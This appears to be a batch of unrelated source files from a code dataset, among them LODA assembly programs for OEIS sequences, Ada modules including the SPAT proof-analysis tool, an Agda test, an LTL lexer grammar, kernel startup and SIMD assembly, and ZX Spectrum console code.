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programs/oeis/138/A138150.asm
jmorken/loda
1
12693
; A138150: n-th run has length n-th prime, with digits 0 and 1 only, starting with 0. ; 0,0,1,1,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 mov $1,1 mov $2,$0 lpb $2 sub $2,2 sub $3,1 mov $6,$0 lpb $6 add $2,$4 trn $3,2 mov $1,$3 sub $5,$3 mov $3,6 sub $6,$6 lpe add $1,$4 sub $2,1 mov $4,$5 lpe gcd $1,2 sub $1,1
src/progress_indicators-bars.ads
onox/progress_indicators
3
23316
<filename>src/progress_indicators-bars.ads -- SPDX-License-Identifier: Apache-2.0 -- -- Copyright (c) 2021 The progress_indicators authors -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. package Progress_Indicators.Bars is pragma Preelaborate; type Percentage is range 0 .. 100; function Get_Bar (Value : Percentage; Width : Natural := 100) return String; end Progress_Indicators.Bars;
software/hal/boards/pixracer_v1/hil/hil-random.adb
TUM-EI-RCS/StratoX
12
10315
-- Institution: Technische Universität München -- Department: Real-Time Computer Systems (RCS) -- Project: StratoX -- -- Authors: <NAME> with STM32.RNG.Polling; -- @summary -- Target-independent specification for HIL of Random number generator package body HIL.Random with SPARK_Mode => On is procedure initialize is begin STM32.RNG.Polling.Initialize_RNG; end; procedure Get_Unsigned (num : out Unsigned_32) is begin num := STM32.RNG.Polling.Random; end; end HIL.Random;
base/mvdm/dos/v86/cmd/command/envdata.asm
npocmaka/Windows-Server-2003
17
191
;/* ; * Microsoft Confidential ; * Copyright (C) Microsoft Corporation 1991 ; * All Rights Reserved. ; */ ; SCCSID = @(#)envdata.asm 1.1 85/05/14 ; SCCSID = @(#)envdata.asm 1.1 85/05/14 ; This file is included by command.asm and is used as the default command ; environment. Environment Struc ; Default COMMAND environment Env_PathString db "path=" db 0 ; Null path Env_Comstring db "comspec=" Env_Ecomspec db "\command.com" ;AC062 db 134 dup (0) Environment ends ENVIRONSIZ equ SIZE Environment ENVIRONSIZ2 equ SIZE Environment - Env_Ecomspec 
asm/sum/sum.asm
severinkaderli/BTI7061-CSBas
1
4869
<filename>asm/sum/sum.asm section .data Number: db 0xA ; We calculate the sum of the numbers up to this one section .bss section .text global _start _start: mov rax, 0 ; We store the sum in rax mov bl, [Number] ; bl holds the current number calculate: add rax, rbx ; Add the current number to the sum dec rbx ; Decrease the number jnz calculate ; If not zero loop exit: mov rax, 1 mov rbx, 0 int 0x80
test/Where.agda
dxts/agda2hs
55
14980
{-# OPTIONS --no-auto-inline #-} module Where where open import Haskell.Prelude hiding (_+_; _*_; _-_) open import Agda.Builtin.Nat postulate bool2nat : Bool → Nat -- no outer arguments ex1 : Nat ex1 = mult num + bool2nat true where num : Nat num = 42 mult : Nat → Nat mult = _* 100 -- nested where ex2 : Nat ex2 = mult num + bool2nat true where num : Nat num = 42 mult : Nat → Nat mult = _⊗ 100 where _⊗_ = _*_ -- with outer arguments ex3 : Nat → Bool → Nat ex3 n b = mult num + bool2nat b where num = 42 + bool2nat b mult : Nat → Nat mult = _* n -- nested where with outer arguments ex4 : Bool → Nat ex4 b = mult 42 where mult : Nat → Nat mult n = bump n (bool2nat b) where bump : Nat → Nat → Nat bump x y = x * y + (n - bool2nat b) ex4' : Bool → Nat ex4' b = mult (bool2nat b) where mult : Nat → Nat mult n = bump n (bool2nat b) where bump : Nat → Nat → Nat bump x y = go (x * y) (n - bool2nat b) where go : Nat → Nat → Nat go z w = z + x + w + y + n + bool2nat b -- with pattern matching and multiple clauses ex5 : List Nat → Nat ex5 [] = zro where zro : Nat zro = 0 ex5 (n ∷ ns) = mult num + 1 where num = 42 + ex5 ns mult : Nat → Nat mult = _* n -- mix of patterns + inner multiple clauses + nested where ex6 : List Nat → Bool → Nat ex6 [] b = zro where zro : Nat zro = 0 ex6 (n ∷ ns) b = mult (num ∷ 1 ∷ []) where mult : List Nat → Nat mult [] = bump 5 (bool2nat b) where bump : Nat → Nat → Nat bump x y = x * y + n mult (m ∷ ms) = bump n m where bump : Nat → Nat → Nat bump x y = x * y + (m - n) num = 42 + ex6 ns true ex7 : Nat → Nat ex7 n₀ = go₁ n₀ where go₁ : Nat → Nat go₁ n₁ = go₂ (n₀ + n₁) where go₂ : Nat → Nat go₂ n₂ = n₀ + n₁ + n₂ ex7' : Nat → Nat ex7' n₀ = go₁ n₀ where go₁ : Nat → Nat go₁ n₁ = go₂ (n₀ + n₁) where go₂ : Nat → Nat go₂ n₂ = go₃ (n₀ + n₁ + n₂) where go₃ : Nat → Nat go₃ n₃ = n₀ + n₁ + n₂ + n₃ ex8 : Nat ex8 = n₂ where n₁ : Nat n₁ = 1 n₂ = n₁ + 1 {-# COMPILE AGDA2HS bool2nat #-} {-# COMPILE AGDA2HS ex1 #-} {-# COMPILE AGDA2HS ex2 #-} {-# COMPILE AGDA2HS ex3 #-} {-# COMPILE AGDA2HS ex4 #-} {-# COMPILE AGDA2HS ex4' #-} {-# COMPILE AGDA2HS ex5 #-} {-# COMPILE AGDA2HS ex6 #-} {-# COMPILE AGDA2HS ex7 #-} {-# COMPILE AGDA2HS ex7' #-} {-# COMPILE AGDA2HS ex8 #-}
src/org/sosy_lab/cpachecker/util/ltl/LtlLexer.g4
melkishengue/cpachecker
0
7846
/* * CPAchecker is a tool for configurable software verification. * This file is part of CPAchecker. * * Copyright (C) 2007-2018 <NAME> * All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * * CPAchecker web page: * http://cpachecker.sosy-lab.org */ /* * Lexer Rules */ lexer grammar LtlLexer; /* * Rules for ltl syntax (= DEFAULT_MODE) */ // LOGIC TRUE : 'TRUE' | 'True' | 'true' | '1' ; FALSE : 'FALSE' | 'False' | 'false' | '0' ; // Logical Unary NOT : '!' | 'NOT' ; // Logical Binary IMP : '->' | '-->' | '=>' | '==>' | 'IMP' ; EQUIV : '<->' | '<=>' | 'EQUIV' ; XOR : '^' | 'XOR' ; // Logical n-ary AND : '&&' | '&' | 'AND' ; OR : '||' | '|' | 'OR' ; // Modal Unary FINALLY : 'F' | '<>' ; GLOBALLY : 'G' | '[]' ; NEXT : 'X' ; // Modal Binary UNTIL : 'U' ; WUNTIL : 'W' | 'WU' ; RELEASE : 'R' | 'V' ; SRELEASE : 'S' ; // Parantheses LPAREN : '(' ; RPAREN : ')' ; // Necessary keywords for parsing a ltl-property file (that is, a file ending with "*.prp") CHECK : 'CHECK' ; INIT : 'init' ; LTL : 'LTL' ; COMMA : ',' ; QUOTATIONMARK_START : '"' -> mode(C_EXPRESSION) ; FUNCTIONNAME : LETTER+ '()' ; // Variables (a lower-case identifier followed by any letter or number) VARIABLE : LOWERCASE (LETTER | NUMBER)* ; // Whitespace WS : [ \t\r\n\f] -> skip ; // skip spaces, tabs, newlines /* * Lexer rules for content within quotationmarks ( == CExpressions ) */ mode C_EXPRESSION; QUOTATIONMARK_END : '"' -> mode(DEFAULT_MODE) ; PARAM : LETTER+ ; COMPARATOR : EQ | INEQ | GEQ | LEQ | GT | LT ; MATHOP : PLUS | MINUS | TIMES | DIV | POW ; VALUE : MINUS? NUMBER+ ; // match any non-empty number EQ : '==' ; INEQ : '!=' ; GEQ : '>=' ; LEQ : '<=' ; GT : '>' ; LT : '<' ; fragment SIGN : (PLUS | MINUS) ; PLUS : '+' ; MINUS : '-' ; TIMES : '*' ; DIV : '/' ; POW : '^' ; // Whitespace SPACES : [ ] -> skip ; // skip spaces /* * Inline functions for a more readable grammar and a better maintainability. Valid in all modes. */ fragment LETTER : (LOWERCASE | UPPERCASE) ; fragment LOWERCASE : [a-z] ; fragment UPPERCASE : [A-Z] ; fragment NUMBER : [0-9] ;
asm/startup.asm
lavenderos/lvk
0
85382
; This file contains the code that is going to be linked at the beginning of ; the kernel binary. ; It should contain core CPU initialisation routines such as entering ; long mode. global _start global cmdline extern textmodeprint extern clearscreen extern check_cpuid extern check_long_mode extern paging_init extern gdt_ptr extern gdt_ptr_lowerhalf extern kmain extern sections_bss extern sections_bss_end %define kernel_phys_offset 0xffffffffc0000000 section .bss cmdline resb 2048 section .text bits 32 _start: mov esp, 0xeffff0 ; zero out bss mov edi, sections_bss mov ecx, sections_bss_end sub ecx, sections_bss xor eax, eax rep stosb mov esi, dword [ebx+16] mov edi, cmdline - kernel_phys_offset mov ecx, 2047 .cpycmdline: lodsb stosb test al, al jz near .cpycmdline_out dec ecx jnz near .cpycmdline .cpycmdline_out: call near clearscreen call near check_cpuid call near check_long_mode call near paging_init lgdt [gdt_ptr_lowerhalf - kernel_phys_offset] jmp 0x08:.long_mode_init - kernel_phys_offset .long_mode_init: bits 64 mov ax, 0x10 mov ss, ax mov ds, ax mov es, ax mov fs, ax mov gs, ax ; Jump to the higher half mov rax, .higher_half jmp rax .higher_half: mov rsp, kernel_phys_offset + 0xeffff0 lgdt [gdt_ptr] call kmain .halt: cli hlt jmp .halt
thirdparty/adasdl/thin/adasdl/AdaSDL_framebuff/sdltests/threadwin_sprogs.ads
Lucretia/old_nehe_ada95
0
12620
-- ----------------------------------------------------------------- -- -- -- -- This is free software; you can redistribute it and/or -- -- modify it under the terms of the GNU General Public -- -- License as published by the Free Software Foundation; either -- -- version 2 of the License, or (at your option) any later version. -- -- -- -- This software is distributed in the hope that it will be useful, -- -- but WITHOUT ANY WARRANTY; without even the implied warranty of -- -- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -- -- General Public License for more details. -- -- -- -- You should have received a copy of the GNU General Public -- -- License along with this library; if not, write to the -- -- Free Software Foundation, Inc., 59 Temple Place - Suite 330, -- -- Boston, MA 02111-1307, USA. -- -- -- -- ----------------------------------------------------------------- -- -- ----------------------------------------------------------------- -- -- This is a translation, to the Ada programming language, of the -- -- original C test files written by <NAME> - www.libsdl.org -- -- translation made by <NAME> - www.adapower.net/~avargas -- -- ----------------------------------------------------------------- -- with System; with Interfaces.C; with SDL.Types; use SDL.Types; with SDL.Events; with SDL.Video; package ThreadWin_Sprogs is package C renames Interfaces.C; package V renames SDL.Video; package Ev renames SDL.Events; type Icon_Mask_Array_Access is access V.Icon_Mask_Array; icon_mask : Icon_Mask_Array_Access; -- Are we done yet? done : Boolean := False; procedure LoadIconSurface ( file : in string; maskp : in out Icon_Mask_Array_Access; icon : out V.Surface_ptr); function FilterEvents (event : Ev.Event_ptr) return C.int; pragma Convention (C, FilterEvents); function HandleMouse (unused : System.Address) return C.int; pragma Convention (C, HandleMouse); function HandleKeyboard (unused : System.Address) return C.int; pragma Convention (C, HandleKeyboard); end ThreadWin_Sprogs;
oeis/164/A164546.asm
neoneye/loda-programs
11
176960
; A164546: a(n) = 8*a(n-1) - 8*a(n-2) for n > 1; a(0) = 1, a(1) = 10. ; 1,10,72,496,3392,23168,158208,1080320,7376896,50372608,343965696,2348744704,16038232064,109515898880,747821334528,5106443485184,34868977205248,238100269760512,1625850340442112,11102000565452800,75809201800085504,517657609877061632,3534787264615809024,24137037237909979136,164817999786353360896,1125447700387547054080,7685037604809549545472,52476719235376019931136,358333453044531763085312,2446853870473245945233408,16708163339429713457184768,114090475751651740095610880,779058499297776213107408896 mov $1,1 mov $2,5 lpb $0 sub $0,1 mul $2,2 sub $2,$1 add $1,$2 mul $2,4 lpe mov $0,$1
src/app/run_spat.adb
HeisenbugLtd/spat
20
13998
<filename>src/app/run_spat.adb<gh_stars>10-100 ------------------------------------------------------------------------------ -- Copyright (C) 2020 by Heisenbug Ltd. (<EMAIL>) -- -- This work is free. You can redistribute it and/or modify it under the -- terms of the Do What The Fuck You Want To Public License, Version 2, -- as published by Sam Hocevar. See the LICENSE file for more details. ------------------------------------------------------------------------------ pragma License (Unrestricted); ------------------------------------------------------------------------------ -- -- SPARK Proof Analysis Tool -- -- S.P.A.T. - Main program -- ------------------------------------------------------------------------------ with Ada.Command_Line; with Ada.Containers.Vectors; with Ada.Directories; with GNAT.Regexp; with GNATCOLL.JSON; with GNATCOLL.Projects; with GNATCOLL.VFS; with SPAT.Command_Line; with SPAT.GPR_Support; with SPAT.Log; with SPAT.Spark_Files; with SPAT.Spark_Info; with SPAT.Stop_Watch; with SPAT.Strings; with SPAT.Version; with System; ------------------------------------------------------------------------------ -- Run_SPAT ------------------------------------------------------------------------------ procedure Run_SPAT is package Reg_Exp_List is new Ada.Containers.Vectors (Index_Type => Positive, Element_Type => GNAT.Regexp.Regexp, "=" => GNAT.Regexp."="); --------------------------------------------------------------------------- -- Print_Entities --------------------------------------------------------------------------- procedure Print_Entities (Info : in SPAT.Spark_Info.T; Sort_By : in SPAT.Spark_Info.Sorting_Criterion; Cut_Off : in Duration; Entity_Filter : in Reg_Exp_List.Vector); --------------------------------------------------------------------------- -- Print_Suggestion --------------------------------------------------------------------------- procedure Print_Suggestion (Info : in SPAT.Spark_Info.T; File_Map : in SPAT.GPR_Support.SPARK_Source_Maps.Map); --------------------------------------------------------------------------- -- Print_Summary --------------------------------------------------------------------------- procedure Print_Summary (Info : in SPAT.Spark_Info.T; Sort_By : in SPAT.Spark_Info.Sorting_Criterion; Cut_Off : in Duration); --------------------------------------------------------------------------- -- Print_Entities --------------------------------------------------------------------------- procedure Print_Entities (Info : in SPAT.Spark_Info.T; Sort_By : in SPAT.Spark_Info.Sorting_Criterion; Cut_Off : in Duration; Entity_Filter : in Reg_Exp_List.Vector) is separate; --------------------------------------------------------------------------- -- Print_Suggestion --------------------------------------------------------------------------- procedure Print_Suggestion (Info : in SPAT.Spark_Info.T; File_Map : in SPAT.GPR_Support.SPARK_Source_Maps.Map) is separate; --------------------------------------------------------------------------- -- Print_Summary --------------------------------------------------------------------------- procedure Print_Summary (Info : in SPAT.Spark_Info.T; Sort_By : in SPAT.Spark_Info.Sorting_Criterion; Cut_Off : in Duration) is separate; use type SPAT.Subject_Name; Entity_Filter : Reg_Exp_List.Vector; begin if not SPAT.Command_Line.Parser.Parse then SPAT.Spark_Files.Shutdown; Ada.Command_Line.Set_Exit_Status (Code => Ada.Command_Line.Failure); return; end if; if SPAT.Command_Line.Version.Get then SPAT.Log.Message (Message => "run_spat V" & SPAT.Version.Number & " (compiled by " & System.System_Name'Image & " " & SPAT.Version.Compiler & ")"); SPAT.Spark_Files.Shutdown; Ada.Command_Line.Set_Exit_Status (Code => Ada.Command_Line.Success); return; end if; if SPAT.Command_Line.Project.Get = SPAT.Null_Name then -- The project file option is mandatory (AFAICS there is no way to -- require an option argument). SPAT.Log.Message (Message => "Argument parsing failed: Missing project file argument"); SPAT.Log.Message (Message => SPAT.Command_Line.Parser.Help); SPAT.Spark_Files.Shutdown; Ada.Command_Line.Set_Exit_Status (Code => Ada.Command_Line.Failure); return; end if; -- If there were entity filter options given, try compiling the reg exps. -- -- for Expression of SPAT.Command_Line.Entity_Filter.Get loop -- The above triggers a GNAT bug box with GNAT CE 2020. -- declare Filter : constant SPAT.Command_Line.Entity_Filter.Result_Array := SPAT.Command_Line.Entity_Filter.Get; begin for Expression of Filter loop begin Entity_Filter.Append (New_Item => GNAT.Regexp.Compile (Pattern => SPAT.To_String (Expression), Glob => False, Case_Sensitive => False)); null; exception when GNAT.Regexp.Error_In_Regexp => SPAT.Log.Message (Message => "Argument parsing failed: """ & SPAT.To_String (Source => Expression) & """ is not a valid regular expression."); SPAT.Spark_Files.Shutdown; Ada.Command_Line.Set_Exit_Status (Code => Ada.Command_Line.Failure); return; end; end loop; end; Do_Run_SPAT : declare SPARK_Files : SPAT.Spark_Files.T; Timer : SPAT.Stop_Watch.T := SPAT.Stop_Watch.Create; Sort_By : constant SPAT.Spark_Info.Sorting_Criterion := SPAT.Command_Line.Sort_By.Get; Cut_Off : constant Duration := SPAT.Command_Line.Cut_Off.Get; Report_Mode : constant SPAT.Command_Line.Report_Mode := SPAT.Command_Line.Report.Get; Project_File : constant GNATCOLL.VFS.Filesystem_String := GNATCOLL.VFS."+" (S => SPAT.To_String (SPAT.Command_Line.Project.Get)); File_List : constant SPAT.GPR_Support.SPARK_Source_Maps.Map := SPAT.GPR_Support.Get_SPARK_Files (GPR_File => Project_File); use type SPAT.Command_Line.Report_Mode; begin Collect_And_Parse : begin -- Step 2: Parse the files into JSON values. if not File_List.Is_Empty then SPAT.Log.Debug (Message => "Using up to" & SPAT.Spark_Files.Num_Workers'Image & " parsing threads."); Timer.Start; declare File_Names : SPAT.Strings.SPARK_File_Names (Capacity => File_List.Length); begin for X in File_List.Iterate loop File_Names.Append (SPAT.GPR_Support.SPARK_Source_Maps.Key (X)); end loop; SPARK_Files.Read (Names => File_Names); end; SPAT.Log.Debug (Message => "Parsing completed in " & Timer.Elapsed & "."); end if; end Collect_And_Parse; Process_And_Output : declare Info : SPAT.Spark_Info.T; begin -- Step 3: Process the JSON data. if not SPARK_Files.Is_Empty then Timer.Start; for C in SPARK_Files.Iterate loop Parse_JSON_File : declare Read_Result : constant GNATCOLL.JSON.Read_Result := SPARK_Files (C); File : constant SPAT.SPARK_File_Name := SPAT.Spark_Files.Key (C); begin if Read_Result.Success then Info.Map_Spark_File (Root => Read_Result.Value, File => File); else SPAT.Log.Warning (Message => SPAT.To_String (Source => File) & ": " & GNATCOLL.JSON.Format_Parsing_Error (Error => Read_Result.Error)); end if; end Parse_JSON_File; end loop; SPAT.Log.Debug (Message => "Reading completed in " & Timer.Elapsed & "."); end if; SPAT.Log.Debug (Message => "Collecting files completed in " & Timer.Elapsed_Total & "."); SPAT.Log.Debug (Message => "Cut off point set to " & SPAT.Image (Cut_Off) & "."); -- Step 4: Output the JSON data. if SPAT.Command_Line.Summary.Get then Print_Summary (Info => Info, Sort_By => Sort_By, Cut_Off => Cut_Off); end if; if Report_Mode /= SPAT.Command_Line.None then Print_Entities (Info => Info, Sort_By => Sort_By, Cut_Off => Cut_Off, Entity_Filter => Entity_Filter); end if; if SPAT.Command_Line.Suggest.Get then Print_Suggestion (Info => Info, File_Map => File_List); end if; exception when E : others => SPAT.Log.Dump_Exception (E => E, Message => "Internal error encountered when processing data!"); end Process_And_Output; end Do_Run_SPAT; SPAT.Spark_Files.Shutdown; Ada.Command_Line.Set_Exit_Status (Code => Ada.Command_Line.Success); exception when E : others => SPAT.Spark_Files.Shutdown; -- This shouldn't happen, other exception handlers should have caught -- such earlier. SPAT.Log.Dump_Exception (E => E, Message => "Fatal error encountered in SPAT!"); Ada.Command_Line.Set_Exit_Status (Code => Ada.Command_Line.Failure); end Run_SPAT;
Windows/FastMaxI32.asm
clayne/FastExtrema
6
245102
<reponame>clayne/FastExtrema<filename>Windows/FastMaxI32.asm<gh_stars>1-10 ; /******************************************************************* ; * ; * Author: <NAME> ; * <EMAIL> ; * https://github.com/komrad36 ; * ; * Last updated Oct 11, 2020 ; *******************************************************************/ _TEXT$FastMaxI32 SEGMENT ALIGN(64) FastMaxI32 PROC mov eax,edx cmp edx,32 jae CASE_LARGE vpcmpeqd ymm0,ymm0,ymm0 vpslld ymm0,ymm0,31 lea r8,JUMP_TABLE movzx edx,byte ptr [r8+rax] add r8,rdx lea rdx,[rcx+4*rax] and eax,-8 lea rcx,[rcx+4*rax] mov eax,080000000h jmp r8 JUMP_TABLE: db 1 DUP ( CASE_0 - JUMP_TABLE) db 1 DUP ( CASE_1 - JUMP_TABLE) db 1 DUP ( CASE_2 - JUMP_TABLE) db 1 DUP ( CASE_3 - JUMP_TABLE) db 4 DUP ( CASE_4 - JUMP_TABLE) db 8 DUP ( CASE_8 - JUMP_TABLE) db 8 DUP (CASE_16 - JUMP_TABLE) db 8 DUP (CASE_24 - JUMP_TABLE) db 45 DUP (0CCh) CASE_24: vmovdqu ymm0,ymmword ptr [rcx-96] CASE_16: vpmaxsd ymm0,ymm0,ymmword ptr [rcx-64] CASE_8: vpmaxsd ymm0,ymm0,ymmword ptr [rcx-32] vpmaxsd ymm0,ymm0,ymmword ptr [rdx-32] vextracti128 xmm1,ymm0,1 vpmaxsd xmm0,xmm0,xmm1 vpunpckhqdq xmm1,xmm0,xmm0 vpmaxsd xmm0,xmm0,xmm1 vmovshdup xmm1,xmm0 vpmaxsd xmm0,xmm0,xmm1 vmovd eax,xmm0 ret db 4 DUP (0CCh) CASE_4: vmovdqu xmm0,xmmword ptr [rcx] vpmaxsd xmm0,xmm0,xmmword ptr [rdx-16] vpunpckhqdq xmm1,xmm0,xmm0 vpmaxsd xmm0,xmm0,xmm1 vmovshdup xmm1,xmm0 vpmaxsd xmm0,xmm0,xmm1 vmovd eax,xmm0 ret CASE_3: mov eax,dword ptr [rdx-12] CASE_2: cmp eax,dword ptr [rdx-8] cmovl eax,dword ptr [rdx-8] CASE_1: cmp eax,dword ptr [rdx-4] cmovl eax,dword ptr [rdx-4] CASE_0: ret db 50 DUP (0CCh) CASE_LARGE: vmovdqu ymm0,ymmword ptr [rcx] vmovdqu ymm1,ymmword ptr [rcx+32] vmovdqu ymm2,ymmword ptr [rcx+64] vmovdqu ymm3,ymmword ptr [rcx+96] lea rdx,[rcx+4*rax] add rcx,256 cmp rcx,rdx jae LOOP_END LOOP_TOP: vpmaxsd ymm0,ymm0,ymmword ptr [rcx-128] vpmaxsd ymm1,ymm1,ymmword ptr [rcx-96] vpmaxsd ymm2,ymm2,ymmword ptr [rcx-64] vpmaxsd ymm3,ymm3,ymmword ptr [rcx-32] sub rcx,-128 cmp rcx,rdx jb LOOP_TOP LOOP_END: vpmaxsd ymm0,ymm0,ymmword ptr [rdx-128] vpmaxsd ymm1,ymm1,ymmword ptr [rdx-96] vpmaxsd ymm2,ymm2,ymmword ptr [rdx-64] vpmaxsd ymm3,ymm3,ymmword ptr [rdx-32] vpmaxsd ymm0,ymm0,ymm2 vpmaxsd ymm1,ymm1,ymm3 vpmaxsd ymm0,ymm0,ymm1 vextracti128 xmm1,ymm0,1 vpmaxsd xmm0,xmm0,xmm1 vpunpckhqdq xmm1,xmm0,xmm0 vpmaxsd xmm0,xmm0,xmm1 vmovshdup xmm1,xmm0 vpmaxsd xmm0,xmm0,xmm1 vmovd eax,xmm0 ret FastMaxI32 ENDP _TEXT$FastMaxI32 ENDS END
examples/dump_tree/dump_elements.ads
reznikmm/gela
0
595
<reponame>reznikmm/gela -- SPDX-FileCopyrightText: 2019 <NAME> <<EMAIL>> -- -- SPDX-License-Identifier: MIT ------------------------------------------------------------- with Program.Elements; package Dump_Elements is procedure Print (Element : Program.Elements.Element_Access); end Dump_Elements;
programs/oeis/110/A110658.asm
karttu/loda
0
243396
; A110658: a(n) = A028242(A028242(A028242(n))). ; 1,0,2,1,0,2,1,0,2,1,3,2,1,3,2,1,3,2,4,3,2,4,3,2,4,3,5,4,3,5,4,3,5,4,6,5,4,6,5,4,6,5,7,6,5,7,6,5,7,6,8,7,6,8,7,6,8,7,9,8,7,9,8,7,9,8,10,9,8,10,9,8,10,9,11,10,9,11,10,9,11,10,12,11,10,12,11,10,12,11,13,12,11,13,12,11,13,12,14,13,12,14,13,12,14,13,15,14,13,15,14,13,15,14,16,15,14,16,15,14,16,15,17,16,15,17,16,15,17,16,18,17,16,18,17,16,18,17,19,18,17,19,18,17,19,18,20,19,18,20,19,18,20,19,21,20,19,21,20,19,21,20,22,21,20,22,21,20,22,21,23,22,21,23,22,21,23,22,24,23,22,24,23,22,24,23,25,24,23,25,24,23,25,24,26,25,24,26,25,24,26,25,27,26,25,27,26,25,27,26,28,27,26,28,27,26,28,27,29,28,27,29,28,27,29,28,30,29,28,30,29,28,30,29,31,30,29,31,30,29,31,30,32,31,30,32,31,30,32,31 mov $1,$0 mov $2,1 mov $4,$0 lpb $2,1 add $1,1 add $1,$0 lpb $4,1 add $1,2 mov $3,3 trn $3,$0 trn $0,2 sub $1,5 sub $4,1 trn $4,$3 lpe mov $2,$4 lpe
unused/develop/obj/scene_1_sprites.asm
pau-tomas/gbvm
33
173509
;-------------------------------------------------------- ; File Created by SDCC : free open source ANSI-C Compiler ; Version 4.1.4 #12246 (Mac OS X x86_64) ;-------------------------------------------------------- .module scene_1_sprites .optsdcc -mgbz80 ;-------------------------------------------------------- ; Public variables in this module ;-------------------------------------------------------- .globl _scene_1_sprites .globl ___bank_scene_1_sprites ;-------------------------------------------------------- ; special function registers ;-------------------------------------------------------- ;-------------------------------------------------------- ; ram data ;-------------------------------------------------------- .area _DATA ;-------------------------------------------------------- ; ram data ;-------------------------------------------------------- .area _INITIALIZED ;-------------------------------------------------------- ; absolute external ram data ;-------------------------------------------------------- .area _DABS (ABS) ;-------------------------------------------------------- ; global & static initialisations ;-------------------------------------------------------- .area _HOME .area _GSINIT .area _GSFINAL .area _GSINIT ;-------------------------------------------------------- ; Home ;-------------------------------------------------------- .area _HOME .area _HOME ;-------------------------------------------------------- ; code ;-------------------------------------------------------- .area _CODE_255 .area _CODE_255 ___bank_scene_1_sprites = 0x00ff _scene_1_sprites: .byte ___bank_spritesheet_6 .dw _spritesheet_6 .byte ___bank_spritesheet_1 .dw _spritesheet_1 .byte ___bank_spritesheet_7 .dw _spritesheet_7 .byte ___bank_spritesheet_8 .dw _spritesheet_8 .area _INITIALIZER .area _CABS (ABS)
libsrc/target/zx/stdio/generic_console_printc.asm
w5Mike/z88dk
0
245174
; ; Print a character for the ZX/TS2068 screen ; MODULE generic_console_printc SECTION code_driver PUBLIC generic_console_printc EXTERN __zx_console_attr EXTERN __zx_32col_udgs EXTERN __zx_32col_font EXTERN __zx_64col_font EXTERN __console_w EXTERN __zx_printc32 EXTERN __zx_printc64 EXTERN generic_console_flags EXTERN __zx_screenmode EXTERN __zx_mode0_console_w EXTERN __zx_print_routine EXTERN generic_console_zxn_tile_printc EXTERN __sam_printc IF FORsam EXTERN SCREEN_BASE ENDIF ; Entry: ; a = charcter ; hl = expect_flags handle_controls: ; Extra codes cp 18 ld d,1 jr z,start_code ld d,2 cp 19 jr z,start_code ld d,16 cp 1 jr z,start_code cp 2 ret nz ld d,12 start_code: ld a,(hl) or d ld (hl),a ret set_flash: res 0,(hl) ld hl,__zx_console_attr res 7,(hl) rrca ret nc set 7,(hl) ret set_bright: res 1,(hl) ld hl,__zx_console_attr res 6,(hl) rrca ret nc set 6,(hl) ret set_switch: res 4,(hl) ld hl,__zx_printc32 cp 64 ld de,$4020 jr nz,set_switch1 ld hl,__zx_printc64 ld de,$8040 set_switch1: IF FORsam ; For SAM we only support 64column printing in mode0 ld a,(__zx_screenmode) and a ret nz ENDIF IF FORts2068|FORzxn ; In the Timex hires mode, we need to double the number of columns ld a,(__zx_screenmode) IF FORzxn ; When in tilemap mode, we can't switch between 64/32 bit 6,a ret nz ENDIF cp 6 ld a,d jr z,set_width ENDIF ld a,e set_width: ld (__zx_print_routine),hl ld ( __console_w),a ld ( __zx_mode0_console_w),a ret set_font_hi: res 2,(hl) ld (__zx_32col_font+1),a ret set_font_lo: res 3,(hl) ld (__zx_32col_font),a ret ; c = x ; b = y ; a = d character to print ; e = raw generic_console_printc: rr e jr c,skip_control_codes ld hl,expect_flags bit 0,(hl) jr nz,set_flash bit 1,(hl) jr nz,set_bright bit 2,(hl) jr nz,set_font_hi bit 3,(hl) jr nz,set_font_lo bit 4,(hl) jr nz,set_switch cp 32 jp c,handle_controls skip_control_codes: IF FORsam ld a,(__zx_screenmode) and a jp nz,__sam_printc ELIF FORzxn ld a,(__zx_screenmode) bit 6,a jp nz,generic_console_zxn_tile_printc ENDIF ld hl,(__zx_print_routine) jp (hl) SECTION bss_driver expect_flags: defb 0 ; bit 0 - expect flash ; bit 1 - expect bright ; bit 2 - expect font low ; bit 3 - expect font high ; bit 4 - expect switch SECTION code_crt_init ; If we've forced 32 column mode at the crt0 level, then ; switch to it EXTERN __CLIB_ZX_CONIO32 IF FORsam ld hl,__zx_printc64 ld (__zx_print_routine),hl ld a,64 ld (__zx_mode0_console_w),a ELSE ld a,__CLIB_ZX_CONIO32 and a ld a,64 ld hl,__zx_printc64 jr z,no_set_32col ld a,32 ld hl,__zx_printc32 no_set_32col: ld (__zx_print_routine),hl ld (__console_w),a ld (__zx_mode0_console_w),a ENDIF
programs/oeis/156/A156283.asm
jmorken/loda
1
88812
<gh_stars>1-10 ; A156283: Period 6: repeat [1, 2, 4, -4, -2, -1]. ; 1,2,4,-4,-2,-1,1,2,4,-4,-2,-1,1,2,4,-4,-2,-1,1,2,4,-4,-2,-1,1,2,4,-4,-2,-1,1,2,4,-4,-2,-1,1,2,4,-4,-2,-1,1,2,4,-4,-2,-1,1,2,4,-4,-2,-1,1,2,4,-4,-2,-1,1,2,4,-4,-2,-1,1,2,4,-4,-2,-1,1,2 add $0,2 mov $2,$0 div $2,2 add $2,$0 mov $0,1 add $0,$2 sub $0,3 lpb $0 sub $0,9 lpe mul $0,2 sub $0,1 mov $1,$0 sub $1,1 div $1,2 add $1,1
tlsf/src/tlsf-block.ads
vasil-sd/ada-tlsf
3
897
<filename>tlsf/src/tlsf-block.ads package TLSF.Block with SPARK_Mode, Pure, Preelaborate is end TLSF.Block;
doc/expli_genericite.adb
SKNZ/BoiteMaker
0
3256
